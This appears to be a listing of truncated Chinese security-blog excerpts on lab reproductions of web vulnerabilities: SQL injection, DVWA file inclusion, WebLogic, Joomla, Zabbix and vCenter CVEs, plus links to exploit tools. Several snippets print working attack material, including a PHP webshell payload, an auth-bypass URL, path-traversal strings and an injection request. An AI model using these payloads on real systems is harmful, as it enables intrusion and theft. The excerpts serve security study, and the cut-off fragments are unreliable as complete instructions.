SQL： 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串， 最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令 注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全 漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。 比如先前的很多影视网站泄露VIP会员密码大多就是 通过WEB表单递交查询字符暴出的，...
DVWA中文件包含漏洞（远程文件包含） 一、利用kali虚拟机建立服务器，并建立x.txt文件作为远程上传文件： 1、开启kali服务器，输入命令 service apache2 start2、建立x.txt，在/var/www/html/目录下创建，内容为： <?fputs(fopen("shell60.php","w"),'<?php eval($_POST[moxi]);?>')?>该代码执行时，将会创建一个名为shell60.php的一句话木马文件。后期通过菜刀软件连接，密码为moxi。 二、文件上传 1、打开DVWA页面，将kali中的文...
Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883） 影响版本 Oracle:Weblogic: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 漏洞环境 Weblogic 12.2.1.3 复现 1.1 CVE-2020-14883: 权限绕过漏洞 低权限的用户访问以下URL，通过未授权访问到管理后台页面 http://ip:7001/console/css/%252e%252e%252fconsole.portal 2.CVE-2020-14882: 代码执行漏洞 此时需要利用到第二个漏洞CVE...
靶场pikachu下载地址获取扫描工具爬行或扫描地址 下载好的文件代码中去分析路径和包含文件获取（比如配置文件）还可以通过浏览器代码调试，修改代码的中默认指向路径来获取文件。 文件名、参数值、目录符号 利用一切可以利用的点，比如网站中的help页面和链接。 read.xxx?filename= download.xxx?filename= readfile.xxx?filename= downfile.xxx?filename=../../ ..\.../ .等%00 %23 %20 等&readpath= &filepath= &path= &inputfil...
Joomla 3.4.5 反序列化漏洞（CVE-2015-8562） 本漏洞根源是PHP5.6.13前的版本在读取存储好的session时，如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中，编码是utf8，当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败，最后触发反序列化漏洞。 通过Joomla中的Gadget，可造成任意代码执行的结果。 影响版本 - Joomla 1.5.x, 2.x, and 3.x before...
本文转载自IT之家，IT之家 3 月 12 日消息 据 HotHardWare 报道，微软封堵了一个 IE 浏览器漏洞，这个漏洞曾被黑客多次利用来夺取服务器控制权。今年 1 月，谷歌警告安全研究人员，有黑客正在利用 IE 的漏洞发动攻击。最初，谷歌威胁分析小组 (TAG)和其他研究人员发现，黑客通过在博客网站挂病毒来让所有访问这个网站的电脑中招。现在，微软已经在 Internet Explorer 和 Microsoft Edge 修补了这个关键漏洞。 当 TAG 在今年早些时候...
1.漏洞原理 如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源，将会导致DNS域传送入侵。 2.漏洞复现 环境搭建 ubuntu需要先停止系统的解析服务 sudo systemctl stop systemd-resolved/vulhub-master/dns/dns-zone-transfer# sudo docker-compose up -d 使用dig命令查询vulhub.org的A记录尝试发送axfr区域传输命令 或者使用Nmap的nse脚本进行探测 nmap --script dns-zone-transfer.nse --script-args "dns-zone-trans...
我正在分析我的代码,并遇到了此安全问题：CA2100 Review SQL queries for security vulnerabilities The query string passed to ‘SqlDataAdapter.SqlDataAdapter(string, SqlConnection)’ in ‘Add_item.loadgrid()’ could contain the following variables ‘Login.dbName’. If any of these variables could come from user input, consider using a stored procedure or a parameterized SQL query instead of building th...
一、SQL注入漏洞 SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下，SQL注入的位置包括： （1）表单提交，主要是POST请求...
1.浪潮ClusterEngineV4.0 sysShell文件远程命令执行漏洞批量扫描poc和exp 项目地址：https://github.com/MzzdToT/ClusterEngineV4.0sysShell_rce 2.TSLab-Exploit 项目地址：https://github.com/tangxiaofeng7/TSLab-Exploit 为了挖更多的漏洞，开发了这款工具。 3.NSNGFW网康下一代防火墙RCE 漏洞批量检测&利用&批量getshell 项目地址：https://github.com/S0por/NSNGFW-RCE-POC_EXP 4.银澎云计算 好视通视频会议系统存在任意文件...
? ? 0x00 实验环境 攻击机：Win 10 靶机也可作为攻击机：Ubuntu18 （docker搭建的vulhub靶场） 0x01 影响版本 具有弱口令的所有版本 0x02 漏洞复现 简介：weblogic可自己手动部署war包至其根目录下 注：weblogic的弱口令集：https://cirt.net/passwords?criteria=weblogic （1）首先，打开web页面，尝试使用弱口令登录（不晓得有没有直接爆破的工具） weblogic/Oracle@123 与tomcat管理后台弱口令类似，这里也需要部署war包类...
它是由世界各地积极和多样化的社区建立，使用和支持的。 0x01漏洞复现 复现环境： 1) Apache2.4 2) Php 7.0 3) drupal 7.31 https://www.drupal.org/drupal-7.31-release-notes(点击下载) 环境打包在目录下安装即可 中间遇到的问题： 解决方法：关闭extersion=php_mbstring.dll(修改前注意备份原来的) Exploit：原先管理员帐号：root 密码：rootxxxx import urllib2,sys from drupalpass import DrupalHash host = sy...
&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx 2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17 如果显示以下内容，则说明存在profileIdx 2 参数注入漏洞<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class=...
背景 CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置，然后执行webshell即可。 挺多厂商一直在发布漏洞通告，团队各种监控，你都监控到了你咋不分析分析？？？ 分析过程 首先我们搭建环境，vcenter虽然是收费的，但是我们可以下载破解版。百度随便搜索一下就可以，包括详细的安装过程 我参考的的是这篇，这里包括了详细的安装过程 https://www.miensi.com/352.ht...
靶场及工具pikachu 墨者 小米范越权漏洞检测工具 authz https://github.com/ztosec/secscan-authcheck https://github.com/huyuanzhi2/password_brute_dictionary burpsuite插件（在高版本的burpsuite中直接可以安装）什么是越权？ 未经授权的访问行为。RBAC鉴权。 原理 前端安全造成：验证是在前端完成，在前端判断用户等级，前端页面的内容根据不同用户权限，来展示不同的内容。操作只有管理员权限可以修改的内容时，只判断用户是...